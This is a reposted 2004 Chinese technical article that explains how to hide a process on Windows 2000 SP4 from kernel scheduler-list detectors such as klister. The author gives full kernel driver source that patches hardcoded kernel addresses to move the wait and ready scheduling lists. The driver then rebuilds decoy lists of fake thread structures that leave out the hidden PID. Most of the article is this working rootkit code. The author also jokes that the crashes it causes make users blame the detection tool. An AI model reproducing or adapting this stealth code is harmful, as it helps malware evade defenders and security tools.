绕过内核调度链表进程检测

来源:互联网 发布:淘宝怎么申诉违规 编辑:程序博客网 时间:2024/05/17 00:14


创建时间:2004-04-22 更新时间:2004-04-22
文章属性:原创
文章提交:SoBeIt (kinsephi_at_hotmail.com)

绕过内核调度链表进程检测                                                                                               SoBeIt

    一般隐藏进程的方法实际是无法彻底隐藏进程,因为内核调度是基于线程的。下面介绍我实现的一种更隐蔽的隐藏进程的方法。我们知道线程调度内核使用3条调度链表KiWaitInListHead=0x80482258 、KiWaitOutListhead=0x80482808 、KiDispatcherReadyListHead=0x804822e0(这个链表实际是32个LIST_ENTRY的数组,对应32个优先级),事实上还有几个平衡集管理器的链表KiProcessOutSwapListHead 、KiProcessOutSwapListHead 、KiStackInSwapListHead含有进程和线程信息,但它们在绝大多数时候是空链表,因为平衡集管理器只有在页面出错率太高或者空闲列表太少时才被唤醒执行实际工作,所以链表中不会有太多项,而且很快就被执行完。

    首先要先在非分页内存中分配对应的LIST_ENTRY结构,然后将原始调度链表内容移动到新链表。在操作链表时要先把IRQL提升到Dispatcher Level,然后请求一个自旋锁.操作结束后释放自旋锁并恢复IRQL(内核里任何涉及到操作内核调度数据结构的例程都是先调用KiLockDispatcherDatabase,操作结束后调用KiUnlockDispatcherDatabase,原理大体和前面说到的操作相似,不同的就是KiUnlockDispatcherDatabase在释放自旋锁并恢复IRQL后若有就绪线程的话就进行环境切换)。系统中用到KiWaitInListHead的例程:KeWaitForSingleObject()、 KeWaitForMultipleObject()、 KeDelayExecutionThread、 KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一样。前3个例程都调用了宏KiInsertWaitList。最后一个由于调用了宏RemoveEntryList,所以汇编代码会产生2个0x8048280c。如果不连它们一起替换的话就会出错(系统可以正常运行一段时间,但是在调度新线程时就会重启,因为原链表已经完全乱了-_-)。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。值得同样注意的是KiSetPriorityThread也调用了RemoveEntryList宏,所以也会产生1个0x804822e4。还好它们并不难找,因为如果有它们都跟在原始链表地址后面。(因为宏RemoveEntryList不会单独调用)。然后把系统中所有用到的这些调度链表全换成新的链表。替换后再把新的链表复制回旧链表,以达到欺骗检测程序的目的。事实上,我开始时只是简单的复制链表,结果运行klister时机器重启了,真是意外收获啊,这样大数普通用户会认为是klister出错了:)因为运行klister时系统又经过了无数次线程调度,原来的链表顺序已经完全混乱了,读取链表就会陷入死循环,因为永远读不到链表头。为了避免这种问题我们就需要分配新的线程对象来欺骗检测系统(因为分配的对象只是为了欺骗,它们并不用于实际用途,所以为了节省点内存空间我分配的结构比真的结构要小),接着就是每隔一段时间复制一份链表,复制过程中去掉我们要隐藏的项。由于所有的地址我都是硬编码的,所以只适用于Windows2000 Build 2195 SP4 中文版,有兴趣的朋友可以自己替换地址移植到WinXP/Win2003下。下面是代码:


#include "ntddk.h"
#include "ntifs.h"
#include "stdio.h"
#include "stdarg.h"


typedef struct _DEVICE_EXTENSION {
    HANDLE    hWorkerThread;
    KEVENT    ExitEvent;
    PDEVICE_OBJECT    pDeviceObject;
    BOOLEAN    bExit;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

typedef struct _FAKE_ETHREAD{
    DISPATCHER_HEADER           Header;
    LIST_ENTRY                  MutantListHead;
    PVOID                       InitialStack;
    PVOID                       StackLimit;
    struct _TEB                 *Teb;
    PVOID                       TlsArray;
    PVOID                       KernelStack;
    BOOLEAN                     DebugActive;
    UCHAR                       State;
    USHORT                      Alerted;
    UCHAR                       Iopl;
    UCHAR                       NpxState;
    UCHAR                       Saturation;
    UCHAR                       Priority;
    KAPC_STATE                  ApcState;
    ULONG                       ContextSwitches;
    NTSTATUS                    WaitStatus;
    UCHAR                       WaitIrql;
    UCHAR                       WaitMode;
    UCHAR                       WaitNext;
    UCHAR                       WaitReason;
    PKWAIT_BLOCK                WaitBlockList;
    LIST_ENTRY                  WaitListEntry;
    ULONG                       WaitTime;
    UCHAR                       BasePriority;
    UCHAR                       DecrementCount;
    UCHAR                       PriorityDecrement;
    UCHAR                       Quantum;
    KWAIT_BLOCK                 WaitBlock[4];
    ULONG                       LegoData;
    ULONG                       KernelApcDisable;
    ULONG                       UserAffinity;
    BOOLEAN                     SystemAffinityActive;
    UCHAR                       PowerState;
    UCHAR                       NpxIrql;
    UCHAR                       Pad[1];
    PSERVICE_DESCRIPTOR_TABLE   ServiceDescriptorTable;
    PKQUEUE                     Queue;
    KSPIN_LOCK                  ApcQueueLock;
    KTIMER                      Timer;
    LIST_ENTRY                  QueueListEntry;
    ULONG                       Affinity;
    BOOLEAN                     Preempted;
    BOOLEAN                     ProcessReadyQueue;
    BOOLEAN                     KernelStackResident;
    UCHAR                       NextProcessor;
    PVOID                       CallbackStack;
    PVOID                       Win32Thread;
    PKTRAP_FRAME                TrapFrame;
    PKAPC_STATE                 ApcStatePointer[2];
    UCHAR                       PreviousMode;
    BOOLEAN                     EnableStackSwap;
    BOOLEAN                     LargeStack;
    UCHAR                       ResourceIndex;
    ULONG                       KernelTime;
    ULONG                       UserTime;
    KAPC_STATE                  SavedApcState;
    BOOLEAN                     Alertable;
    UCHAR                       ApcStateIndex;
    BOOLEAN                     ApcQueueable;
    BOOLEAN                     AutoAlignment;
    PVOID                       StackBase;
    KAPC                        SuspendApc;
    KSEMAPHORE                  SuspendSemaphore;
    LIST_ENTRY                  ThreadListEntry;
    UCHAR                       FreezeCount;
    UCHAR                       SuspendCount;
    UCHAR                       IdealProcessor;
    BOOLEAN                     DisableBoost;
    LARGE_INTEGER                   CreateTime;
    union {
        LARGE_INTEGER               ExitTime;
        LIST_ENTRY                  LpcReplyChain;
    };
    union {
        NTSTATUS                    ExitStatus;
        PVOID                       OfsChain;
    };
    LIST_ENTRY                      PostBlockList;
    LIST_ENTRY                      TerminationPortList;
    KSPIN_LOCK                      ActiveTimerListLock;
    LIST_ENTRY                      ActiveTimerListHead;
    CLIENT_ID                       Cid;
}FAKE_ETHREAD, *PFAKE_ETHREAD;

VOID ReplaceList(PVOID pContext)
{
    PLIST_ENTRY pFirstEntry, pLastEntry, pPrevEntry, pNextEntry, pEntry;
    PLIST_ENTRY pNewKiDispatcherReadyListHead,pNewKiWaitInListHead,pNewKiWaitOutListHead;
    PLIST_ENTRY pKiDispatcherReadyListHead,pKiWaitInListHead,pKiWaitOutListHead;
    int i, ChangeList;
    int SysKiWaitInListHeadAddr[] = {0x8042d90b, 0x8042db78, 0x8042de57, 0x8042f176, 0x8046443b, 0x80464441, 0x804644d6};
    int SysKiWaitOutListHeadAddr[] = {0x8042d921, 0x8042db90, 0x8042de6f, 0x8042f18e, 0x80464494};
    int SysKiWaitOutListHeadAdd4Addr[] = {0x8046448e, 0x804644a1};
    int SysKiDispatcherReadyListHeadAddr[] = {0x804041ff, 0x8042faad, 0x804313de, 0x80431568, 0x8043164f, 0x80431672, 0x8043379f, 0x8046462d};
    int SysKiDispatcherReadyListHeadAdd4Addr = 0x8043166b;
    KIRQL    OldIrql;
    KSPIN_LOCK    DpcSpinLock;
    LARGE_INTEGER    DelayTime;
    NTSTATUS    Status;
    PDEVICE_EXTENSION    pDevExt;
    PEPROCESS    pEPROCESS;
    PETHREAD    pETHREAD;
    ULONG    PID;
    PFAKE_ETHREAD    pFakeETHREAD;

    pDevExt = (PDEVICE_EXTENSION)pContext;
    DelayTime.QuadPart = -(10 * 1000 * 10000);
    pKiWaitInListHead = (PLIST_ENTRY)0x80482258;
    pKiWaitOutListHead = (PLIST_ENTRY)0x80482808;
    pKiDispatcherReadyListHead = (PLIST_ENTRY)0x804822e0;

    pNewKiWaitInListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool,sizeof(LIST_ENTRY));
    pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool, sizeof(LIST_ENTRY));
    pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool, 32 * sizeof(LIST_ENTRY));

    InitializeListHead(pNewKiWaitInListHead);
    InitializeListHead(pNewKiWaitOutListHead);

    for(i = 0; i < 32; i++)
    {
        InitializeListHead(&pNewKiDispatcherReadyListHead[i]);
    }

    KeInitializeSpinLock(&DpcSpinLock);

    __try
    {
        OldIrql = KeRaiseIrqlToDpcLevel();
        KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);

        pFirstEntry = pKiWaitInListHead->Flink;
        pLastEntry = pKiWaitInListHead->Blink;

        pNewKiWaitInListHead->Flink = pFirstEntry;
        pNewKiWaitInListHead->Blink = pLastEntry;

        pFirstEntry->Blink = pNewKiWaitInListHead;
        pLastEntry->Flink = pNewKiWaitInListHead;

        for(i = 0; i < 7; i++)
        {
            ChangeList = SysKiWaitInListHeadAddr[i];
            *(PULONG)ChangeList = (ULONG)pNewKiWaitInListHead;
            DbgPrint("NewWaitIn:%8x",*(PULONG)ChangeList);
        }

        pFirstEntry = pKiWaitOutListHead->Flink;
        pLastEntry = pKiWaitOutListHead->Blink;

        pNewKiWaitOutListHead->Flink = pFirstEntry;
        pNewKiWaitOutListHead->Blink = pLastEntry;

        pFirstEntry->Blink = pNewKiWaitOutListHead;
        pLastEntry->Flink = pNewKiWaitOutListHead;

        for(i = 0; i < 5; i++)
        {
            ChangeList = SysKiWaitOutListHeadAddr[i];
            *(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead;
            DbgPrint("NewWaitOut:%8x",*(PULONG)ChangeList);
        }

        for(i = 0; i < 2; i++)
        {
            ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
            *(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead + 0x4;
            DbgPrint("NewWaitOut+4:%8x",*(PULONG)ChangeList);
        }

        for(i = 0; i < 32; i++)
        {
            if(pKiDispatcherReadyListHead[i].Flink != &pKiDispatcherReadyListHead[i])
            {
                pFirstEntry = pKiDispatcherReadyListHead[i].Flink;
                pLastEntry = pKiDispatcherReadyListHead[i].Blink;

                pNewKiDispatcherReadyListHead[i].Flink = pFirstEntry;
                pNewKiDispatcherReadyListHead[i].Blink = pLastEntry;

                pFirstEntry->Blink = &pNewKiDispatcherReadyListHead[i];
                pLastEntry->Flink = &pNewKiDispatcherReadyListHead[i];
            }
        }

        for(i = 0; i < 8; i++)
        {
            ChangeList = SysKiDispatcherReadyListHeadAddr[i];
            *(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead;
            DbgPrint("NewDispatcher:%8x", *(PULONG)ChangeList);
        }

        ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
        *(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead + 0x4;
        DbgPrint("NewDispatcher+4:%8x", *(PULONG)ChangeList);

        KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
        KeLowerIrql(OldIrql);

        for(;;)
        {
            InitializeListHead(pKiWaitInListHead);
            InitializeListHead(pKiWaitOutListHead);

            for(i = 0; i < 32; i++)
            {
                InitializeListHead(&pKiDispatcherReadyListHead[i]);
            }

            for(pEntry = pNewKiWaitInListHead->Flink;
                    pEntry && pEntry != pNewKiWaitInListHead; pEntry = pEntry->Flink)
            {
                pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
                pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
                PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);

                if(PID == 0x8)
                {
                    continue;
                }
                
                pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));

                memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
                InsertHeadList(pKiWaitInListHead, &pFakeETHREAD->WaitListEntry);
            }

            for(pEntry = pNewKiWaitOutListHead->Flink;
                    pEntry && pEntry != pNewKiWaitOutListHead; pEntry = pEntry->Flink)
            {
                pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
                pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
                PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);

                if(PID == 0x8)
                {
                    continue;
                }

                pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));

                memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
                InsertHeadList(pKiWaitOutListHead, &pFakeETHREAD->WaitListEntry);
            }

            for(i = 0; i < 32 ; i++)
            {
                for(pEntry = pNewKiDispatcherReadyListHead[i].Flink;
                    pEntry && pEntry != &pNewKiDispatcherReadyListHead[i]; pEntry = pEntry->Flink)
                    {
                        pETHREAD = (PETHREAD)(((char *)pEntry)-0x5c);
                        pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
                        PID = *(ULONG *)(((char *)pEPROCESS)+0x9c);
                        
                        if(PID == 0x8)
                        {
                            continue;
                        }

                        pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));

                        memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
                        InsertHeadList(&pKiDispatcherReadyListHead[i], &pFakeETHREAD->WaitListEntry);
                    }
            }

            DbgPrint("pKiWaitInListHead->Flink:%8x", pKiWaitInListHead->Flink);
            DbgPrint("pKiWaitInListHead->Blink:%8x", pKiWaitInListHead->Blink);
            DbgPrint("pKiWaitOutListHead->Flink:%8x", pKiWaitOutListHead->Flink);
            DbgPrint("pKiWaitOutListHead->Blink:%8x", pKiWaitOutListHead->Blink);
            DbgPrint("pKiDispatcherReadyListHead[0].Flink:%8x", pKiDispatcherReadyListHead[0].Flink);
            DbgPrint("pKiDispatcherReadyListHead[0].Blink:%8x", pKiDispatcherReadyListHead[0].Blink);

            Status = KeWaitForSingleObject(&pDevExt->ExitEvent,
                                        Executive,
                                        KernelMode,
                                        FALSE,
                                        &DelayTime);

            if(Status == STATUS_SUCCESS)
                break;
        }

        OldIrql = KeRaiseIrqlToDpcLevel();
        KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);

        pFirstEntry = pNewKiWaitInListHead->Flink;
        pLastEntry = pNewKiWaitInListHead->Blink;

        pKiWaitInListHead->Flink = pFirstEntry;
        pKiWaitInListHead->Blink = pLastEntry;

        pFirstEntry->Blink = pKiWaitInListHead;
        pLastEntry->Flink = pKiWaitInListHead;

        for(i = 0; i < 7; i++)
        {
            ChangeList = SysKiWaitInListHeadAddr[i];
            *(PULONG)ChangeList = (ULONG)pKiWaitInListHead;
            DbgPrint("OrgWaitIn:%8x",*(PULONG)ChangeList);
        }

        pFirstEntry = pNewKiWaitOutListHead->Flink;
        pLastEntry = pNewKiWaitOutListHead->Blink;

        pKiWaitOutListHead->Flink = pFirstEntry;
        pKiWaitOutListHead->Blink = pLastEntry;

        pFirstEntry->Blink = pKiWaitOutListHead;
        pLastEntry->Flink = pKiWaitOutListHead;

        for(i = 0; i < 5; i++)
        {
            ChangeList = SysKiWaitOutListHeadAddr[i];
            *(PULONG)ChangeList = (ULONG)pKiWaitOutListHead;
            DbgPrint("OrgWaitOut:%8x",*(PULONG)ChangeList);
        }

        for(i = 0; i < 2; i++)
        {
            ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
            *(PULONG)ChangeList = (ULONG)pKiWaitOutListHead + 0x4;
            DbgPrint("OrgWaitOut+4:%8x",*(PULONG)ChangeList);
        }

        for(i = 0; i < 32; i++)
        {
            if(pNewKiDispatcherReadyListHead[i].Flink != &pNewKiDispatcherReadyListHead[i])
            {
                pFirstEntry = pNewKiDispatcherReadyListHead[i].Flink;
                pLastEntry = pNewKiDispatcherReadyListHead[i].Blink;

                pKiDispatcherReadyListHead[i].Flink = pFirstEntry;
                pKiDispatcherReadyListHead[i].Blink = pLastEntry;

                pFirstEntry->Blink = &pKiDispatcherReadyListHead[i];
                pLastEntry->Flink = &pKiDispatcherReadyListHead[i];
            }
        }

        for(i = 0; i < 8; i++)
        {
            ChangeList = SysKiDispatcherReadyListHeadAddr[i];
            *(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead;
            DbgPrint("NewDispatcher:%8x", *(PULONG)ChangeList);
        }

        ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
        *(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead + 0x4;
        DbgPrint("NewDispatcher+4:%8x", *(PULONG)ChangeList);

        KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
        KeLowerIrql(OldIrql);

        ExFreePool(pNewKiWaitInListHead);
        ExFreePool(pNewKiWaitOutListHead);
        ExFreePool(pNewKiDispatcherReadyListHead);

        DbgPrint("Now terminate system thread./n");

        PsTerminateSystemThread(STATUS_SUCCESS);
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        DbgPrint("Error occured in ReplaceList()./n");
    }

    return;
}


NTSTATUS DriverUnload(IN PDRIVER_OBJECT pDriObj)
{
    WCHAR DevLinkBuf[] = L"//??//SchList";
    UNICODE_STRING uniDevLink;
    PDEVICE_OBJECT pDevObj;
    PVOID    pWorkerThread;
    PDEVICE_EXTENSION    pDevExt;
    NTSTATUS Status;
    LARGE_INTEGER    WaitTime;

    WaitTime.QuadPart = -(8 * 1000 * 10000);
    pDevObj = pDriObj->DeviceObject;
    pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
    pDevExt->bExit = TRUE;

    __try
    {
        KeSetEvent(&pDevExt->ExitEvent, 0, FALSE);
        KeDelayExecutionThread(KernelMode, FALSE, &WaitTime);

        DbgPrint("SchList:Worker thread killed./n");
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        DbgPrint("Error occured in Unload()./n");
    }


    if(pDevObj)
    {
        RtlInitUnicodeString(&uniDevLink,DevLinkBuf);
        IoDeleteSymbolicLink(&uniDevLink);
        IoDeleteDevice(pDevObj);

        DbgPrint(("SchList.sys:Driver Unload successfully./n"));

        return STATUS_SUCCESS;
    }

    DbgPrint(("SchList.sys:Detect device failed./n"));

    return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriObj,
                     IN PUNICODE_STRING puniRegPath)
{
    WCHAR DevNameBuf[] = L"//Device//SchList";
    UNICODE_STRING uniDevName;
    WCHAR DevLinkBuf[] = L"//??//SchList";
    UNICODE_STRING uniDevLink;
    PDEVICE_OBJECT pDevObj;
    PDEVICE_EXTENSION    pDevExt;
    NTSTATUS status;
    int pKiDispatcherReadyListHeadAddr = 0x804822e0;
    int pKiWaitInListHeadAddr = 0x80482258;
    int pKiWaitOutListHeadAddr = 0x80482808;

    DbgPrint(("SchList:Enter DriverEntry./n"));

    RtlInitUnicodeString(&uniDevName,DevNameBuf);

    status = IoCreateDevice(pDriObj,
        sizeof(DEVICE_EXTENSION),
        &uniDevName,
        FILE_DEVICE_UNKNOWN,
        0,
        FALSE,
        &pDevObj);

    if(!NT_SUCCESS(status))
    {
        DbgPrint(("SchList.sys:Create device failed./n"));

        return status;
    }

    DbgPrint(("SchList.sys:Create device successfully./n"));

    pDevExt = (PDEVICE_EXTENSION) pDevObj->DeviceExtension;
    pDevExt->pDeviceObject = pDevObj;

    KeInitializeEvent(&pDevExt->ExitEvent, SynchronizationEvent, 0);
    RtlInitUnicodeString(&uniDevLink,DevLinkBuf);

    status = IoCreateSymbolicLink(&uniDevLink,
        &uniDevName);

    if(!NT_SUCCESS(status))
    {
        DbgPrint(("SchList.sys:Create symbolic link failed./n"));

        return status;
    }

    pDriObj->DriverUnload = DriverUnload;

    PsCreateSystemThread(&pDevExt->hWorkerThread,
                            (ACCESS_MASK)0L,
                            NULL,
                            (HANDLE)0L,
                            NULL,
                            ReplaceList,
                            pDevExt);

    return STATUS_SUCCESS;
}


水平有限,欢迎大家指出错漏之处。QQ:27324838 Email:kinvis@hotmail.com kinsephi@hotmail.com

更多文章请点击左边的“文章”和“存档”分类

文章

  • c#(RSS)
  • 其他(RSS)
  • 通用算法(RSS)
  • 杂谈(RSS)

    存档

    • 2005年12月(139)
    • 2005年11月(11)
    • 2005年08月(2)
    • 2005年04月(2)
    • 2005年01月(3)
原创粉丝点击